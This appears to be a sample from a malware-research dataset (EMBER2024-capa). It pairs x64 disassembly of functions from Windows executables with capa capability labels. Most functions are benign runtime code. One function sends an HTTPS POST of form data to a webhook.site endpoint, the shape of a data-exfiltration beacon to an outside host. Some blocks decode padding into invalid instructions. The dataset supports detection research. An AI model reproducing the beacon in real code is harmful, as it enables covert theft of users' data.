joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002530
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004420]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002550
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002558
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002550
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400025a0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002597
test rcx, rcx
je 0x140002550
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002588
xor eax, eax
ret

Function at 0x1400025b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004420]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400025cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400025d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400025f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004420]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002610
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002618
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002610
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002610
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002664
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002670
add rdx, 0x28
cmp rdx, r9
jne 0x140002650
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002680
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004420]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400026a2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400026b0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026a2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400026a2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400026a2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002705
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002718
add rdx, 0x28
cmp r10, rdx
jne 0x1400026f0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002727
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002737
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000270e
test ecx, ecx
jg 0x140002720
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140011208
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x14001e400
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x140044109]
call fcn.140011d89
nop
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x270
jne 0x14001e43e
mov rcx, qword [rbp + 0x100]
call fcn.14001126c
nop
jmp 0x14001e45a
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x4e0
jb 0x14001e45a
mov rcx, qword [rbp + 0x100]
call fcn.140011663
nop
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x100]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
inc eax
mov rcx, qword [rbp + 0x100]
mov dword [rcx], eax
mov eax, dword [rbp + 4]
shr eax, 0xb
mov rcx, qword [rbp + 0x100]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shr eax, 0x12
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140011217
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x140020bd0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400440c7]
call fcn.140011d89
nop
mov qword [rbp + 8], 0
jmp 0x140020c0f
mov rax, qword [rbp + 8]
inc rax
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x110]
cmp qword [rbp + 8], rax
jae 0x140020c65
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x108]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rbp + 0x100]
xor rcx, rax
mov rax, rcx
mov qword [rbp + 0x100], rax
movabs rax, 0x100000001b3
mov rcx, qword [rbp + 0x100]
imul rcx, rax
mov rax, rcx
mov qword [rbp + 0x100], rax
jmp 0x140020c04
mov rax, qword [rbp + 0x100]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140011258
Capabilities:
Enumerate processes

Disassembly:
jmp 0x14001eb20
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x468]
mov rax, qword [0x14003c040]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x14004410a]
call fcn.140011d89
nop
mov dword [rbp + 4], 0
xor edx, edx
mov ecx, 2
call fcn.14001161d
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x14001eb8c
xor eax, eax
jmp 0x14001ebe2
mov dword [rbp + 0x50], 0x238
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.140011811
test eax, eax
je 0x14001ebd4
lea rdx, [rbp + 0x7c]
mov rcx, qword [rbp + 0x440]
call fcn.140011460
movzx eax, al
test eax, eax
je 0x14001ebc3
mov eax, dword [rbp + 0x58]
mov dword [rbp + 4], eax
jmp 0x14001ebd4
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.140011bc7
test eax, eax
jne 0x14001eba4
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140033310]
call fcn.140011b40
mov rax, rdi
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.14001163b
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret
Function at 0x140011663
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x140022510
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x20]
lea rcx, [0x140044109]
call fcn.140011d89
nop
mov qword [rbp + 8], 0x26f
mov qword [rbp + 0x28], 0xe3
mov qword [rbp + 0x48], 0
jmp 0x140022555
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xe3
jae 0x1400225e6
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x48]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
and eax, 1
test eax, eax
je 0x1400225ab
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x1400225b5
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0x64]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14002254a
mov qword [rbp + 0x88], 0xe3
jmp 0x140022604
mov rax, qword [rbp + 0x88]
inc rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0x26f
jae 0x1400226ad
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x88]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0xa4]
and eax, 1
test eax, eax
je 0x140022669
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x140022673
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0xa4]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x1400225f3
mov qword [rbp + 0xc8], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rbp + 0x1e0]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x1e0]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0xe4], eax
mov eax, dword [rbp + 0xe4]
and eax, 1
test eax, eax
je 0x14002270d
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x140022717
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0xe4]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rbp + 0x1e0]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rbp + 0x1e0]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rbp + 0x1e0]
mov dword [rax], 0
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret

Function at 0x14001173a
Capabilities:
Terminate process

Disassembly:
jmp 0x14002acd0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011843
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
jmp 0x14001f580
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x46
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x238]
mov rax, qword [0x14003c040]
xor rax, rbp
mov qword [rbp + 0x1c8], rax
lea rcx, [0x14004410a]
call fcn.140011d89
nop
lea rdx, str.webhook.site
lea rcx, [rbp + 8]
call fcn.14001143d
nop
lea rdx, str._24f20c02_7336_4018_858c_6d11fc91c048
lea rcx, [rbp + 0x48]
call fcn.14001143d
nop
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_User_Agent_String
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x14001f75a
lea rcx, [rbp + 8]
call fcn.140011451
xor r9d, r9d
mov r8w, 0x1bb
mov rdx, rax
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x14001f74c
lea rcx, [rbp + 0x48]
call fcn.140011451
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.POST
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
je 0x14001f73e
mov rcx, qword [rbp + 0x1f0]
call fcn.140011ba4
mov qword [rbp + 0x1b8], rax
mov rcx, qword [rbp + 0x1f0]
call fcn.140011ba4
mov qword [rbp + 0x1c0], rax
mov rcx, qword [rbp + 0x1f0]
call fcn.140011113
mov qword [rsp + 0x30], 0
mov rcx, qword [rbp + 0x1b8]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp + 0x1c0]
mov dword [rsp + 0x20], ecx
mov r9, rax
xor r8d, r8d
lea rdx, str.Content_Type:_application_x_www_form_urlencoded_r_n
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
je 0x14001f730
xor edx, edx
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
nop
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
lea rcx, [rbp + 0x48]
call fcn.140011bbd
nop
lea rcx, [rbp + 8]
call fcn.140011bbd
nop
lea rcx, [rbp - 0x40]
lea rdx, [0x1400339e0]
call fcn.140011b40
mov rcx, qword [rbp + 0x1c8]
xor rcx, rbp
call fcn.14001163b
lea rsp, [rbp + 0x1d8]
pop rdi
pop rbp
ret
Function at 0x14001195b
Capabilities:
Parse pe header

Disassembly:
jmp 0x140029b50
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140029b70
xor al, al
jmp 0x140029bf1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140029b83
xor al, al
jmp 0x140029bf1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140029bad
xor al, al
jmp 0x140029bf1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140029bc1
xor al, al
jmp 0x140029bf1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140029bd3
xor al, al
jmp 0x140029bf1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140029bef
xor al, al
jmp 0x140029bf1
mov al, 1
add rsp, 0x38
ret
Function at 0x140028e50
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011df2
movzx eax, al
test eax, eax
jne 0x140028e70
mov ecx, 7
call fcn.140011b54
nop
mov byte [rsp + 0x20], 0
call fcn.140011bb8
mov byte [rsp + 0x21], al
cmp dword [0x14003c780], 1
jne 0x140028e94
mov ecx, 7
call fcn.140011b54
nop
jmp 0x140028eec
cmp dword [0x14003c780], 0
jne 0x140028ee7
mov dword [0x14003c780], 1
lea rdx, [0x140032770]
lea rcx, [0x140032440]
call fcn.140011618
test eax, eax
je 0x140028ec8
mov eax, 0xff
jmp 0x140028ff1
lea rdx, [0x140032330]
lea rcx, [section..rdata]
call fcn.140011b8b
mov dword [0x14003c780], 2
jmp 0x140028eec
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011b31
call fcn.1400119ab
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140028f49
mov rcx, qword [rsp + 0x30]
call fcn.1400114f1
movzx eax, al
test eax, eax
je 0x140028f49
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140045020]
nop
call fcn.140011a55
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140028f7d
mov rcx, qword [rsp + 0x38]
call fcn.1400114f1
movzx eax, al
test eax, eax
je 0x140028f7d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011d43
nop
call fcn.140029060
mov dword [rsp + 0x28], eax
call fcn.14001195b
movzx eax, al
test eax, eax
jne 0x140028f9c
mov ecx, dword [rsp + 0x28]
call fcn.1400110e6
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140028fab
call fcn.140011d57
nop
xor edx, edx
mov cl, 1
call fcn.1400114a1
mov eax, dword [rsp + 0x28]
jmp 0x140028ff1
add rsp, 0x68
ret
Function at 0x1400028f0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140002911
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000293e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140002940
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140002999
test ecx, ecx
jle 0x140002979
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140002999
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140002999
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
and bh, bh
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
and ch, ah
and ah, byte [rdx]
and ah, byte [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
and ah, byte [rdx]
and dh, byte [rdx]
and ah, byte [rdx]
and ch, ah
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
Function at 0x1400029c0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400029e2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x1400029f1
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140002a14
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002a16
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140002a52
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140002aee
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140002a8d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140002ace
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140002aee
cmp rbx, rax
ja 0x140002aa0
test rbx, rbx
je 0x140002aee
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
and ah, byte [rsi]
and ah, byte [rdx]
and ch, ah
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
and bh, bh
and ah, byte [rdx]
and bh, bh
sub eax, 0x6aff2d2d
push 0x6a
inc dword [rdx - 0x7c007d7e]
add dword [rbx - 0x7c7c7c01], 0xffffffff
add dword [rbx - 0x6a6a007d], 0xffffff95
call qword [rbp - 0x6a006a6b]
xchg ebp, eax
xchg ebp, eax
call qword [rsp + rdx*4 + 0x7777ff94]
ja 0x14000e937
jmp [rdi]
invalid
Function at 0x1400047e4
Capabilities:
Identify system language via api

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x1400128b8]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea r14, str.en_US
mov rsi, rcx
mov qword [rcx], r14
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov word [rsp + 0x30], ax
mov ebx, 0x10
mov r9d, ebx
lea rdx, [0x140008110]
lea rax, [0x140004df0]
mov r8d, 0x1b3
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call sub.api_ms_win_crt_private_l1_1_0.dll__o_bsearch
xor ebp, ebp
test rax, rax
jne 0x14000485f
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1400048e5
cmp dword [rax + 0xc], 0x7c
jne 0x14000486c
cmp word [rax + 8], 0x7f
jne 0x14000484f
mov r8, qword [rax]
or rcx, 0xffffffffffffffff
inc rcx
cmp word [r8 + rcx*2], bp
jne 0x140004873
inc rcx
cmp rcx, 0x7ffffffe
jbe 0x140004890
mov word [rsp + 0x38], bp
jmp 0x1400048d7
lea rax, [rsp + 0x38]
mov r9d, ebp
sub r8, rax
lea rdx, [rsp + 0x38]
lea rax, [rbx - 0x10]
add rax, rcx
je 0x1400048c0
movzx eax, word [r8 + rdx]
test ax, ax
je 0x1400048c0
mov word [rdx], ax
add rdx, 2
sub rbx, 1
jne 0x1400048a0
test rbx, rbx
jne 0x1400048cf
sub rdx, 2
mov r9d, 0x8007007a
mov word [rdx], bp
test r9d, r9d
jns 0x1400048e1
mov ecx, 0x7a
jmp 0x140004854
test ecx, ecx
jne 0x1400048f1
mov rcx, qword [rsp + 0x78]
call fcn.14000494c
jmp 0x14000492a
mov rbx, rbp
mov rdi, rbp
mov rdx, qword [rdi + r14]
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__wcsicmp]
test eax, eax
je 0x14000491c
inc rbx
add rdi, 0x30
cmp rdi, 0x750
jb 0x1400048f7
jmp 0x14000492a
lea rax, [rbx + rbx*2]
shl rax, 4
add rax, r14
mov qword [rsi], rax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400050e0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140005104
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140012e60], eax
call fcn.1400056f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140012e60], 0
jne case.default.0x14000515a
mov ecx, 1
call fcn.1400056f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
movabs al, byte [0x4977ed1dbab6ff71]
invalid
Function at 0x140002e40
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140002e9d
lea rbx, [0x1400bd9a0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140002e84
cmp r10, 2
jb 0x140002e84
cmp byte [r9], r8b
jne 0x140002e84
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140002e60
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140002edf
lea rbx, [0x1400bd9a0]
cmp r8b, 0x23
jne 0x140002ec3
cmp byte [r9], r8b
jne 0x140002ec3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140002eb0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140003020
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14000303a
mov qword [r8], 0
lea rdx, [0x1400bd508]
call fcn.140002ef0
mov rbx, rax
test rax, rax
jne 0x14000305a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140003133
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003133
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140003133
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003133
cmp rdi, 0xffffffffffffffff
je 0x140003133
mov rax, qword [0x140190f00]
test rax, rax
je 0x1400030d0
inc dword [rax + 0xf4]
mov rcx, rdi
